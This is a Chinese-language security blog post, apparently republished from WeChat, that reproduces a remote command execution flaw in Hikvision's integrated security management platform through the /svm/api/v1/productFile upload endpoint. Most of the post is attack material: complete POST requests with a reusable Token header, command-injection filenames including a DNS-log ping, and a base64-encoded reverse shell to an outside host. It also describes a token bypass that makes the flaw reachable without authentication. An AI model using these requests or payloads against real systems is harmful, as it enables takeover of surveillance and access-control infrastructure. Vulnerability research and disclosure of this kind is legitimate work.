点击蓝字
关注我们
声明
本文作者:执着
本文字数:2592字
阅读时长:约5分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
❝
海康威视部分综合安防管理平台历史版本由于对上传文件接口校验不足,攻击者可以将恶意文件上传到平台,导致获取服务权限或服务异常。
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/2023-03/
漏洞细节
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/8-1717634170.jpeg)
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/1-1717634170.jpeg)
直接可以上传webshell,但是这里有一个Token鉴权
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1717634171.jpeg)
我们需要看这个Token的生成算法
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/10-1717634172.jpeg)
对应的是so文件,我们来进行ida逆向分析
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/7-1717634173.jpeg)
直接看sub_35690函数即可,
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1717634174.jpeg)
这里主要看v8大于等于0的函数即可,这里我就懒得看了
复现
数据包
POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 566
Content-Type: multipart/form-data; boundary=------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
Content-Disposition: form-data; name="file";filename="z.zip"
{{file(/Users/zhizhuo/Desktop/tools/目录穿越zip生成器/z.zip)}}
--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx--
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/1-1717634175.jpeg)
没打成功,回头在细梭一边代码,发现最终RCE的地方并不是文件上传,而是文件名字
"`open -na Calculator`.zip"
"`ping xxx.dnslog.cn`.zip"
# 反弹shell
"echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzkwOTkgMD4mMQ== | base64 -d"
文件名字不能有 / 这TM直接就不能写webshell,看起来只能无回显利用
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/9-1717634176.jpeg)
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1717634176.jpeg)
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/7-1717634177.jpeg)
数据包
POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Content-Length: 346
-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip
123
-----------------------------142851345723692939351758052805--
Token生成
在@Y4tacker 的指导下完成了整个token获取后台变前台(二进制的算法被Y5割了2个月没给我)
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/4-1717634178.jpeg)
对于除了/static/外的路径都会经过验证Token
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1717634178.jpeg)
如果传入的Token没有通过验证的话,那么就会生成一个新的Token返回,下面找到访问控制器就可以了
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/3-1717634179.jpeg)
获取Token
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/9-1717634181.jpeg)
作者
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/10-1717634189.jpeg)
执着
一个喜欢搞点事情的人
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/8-1717634190.jpeg)
![漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行 漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/7-1717634191.gif)
原文始发于微信公众号(WgpSec狼组安全团队):漏洞复现 综合安防管理平台 _svm_api_v1_productFile 远程命令执行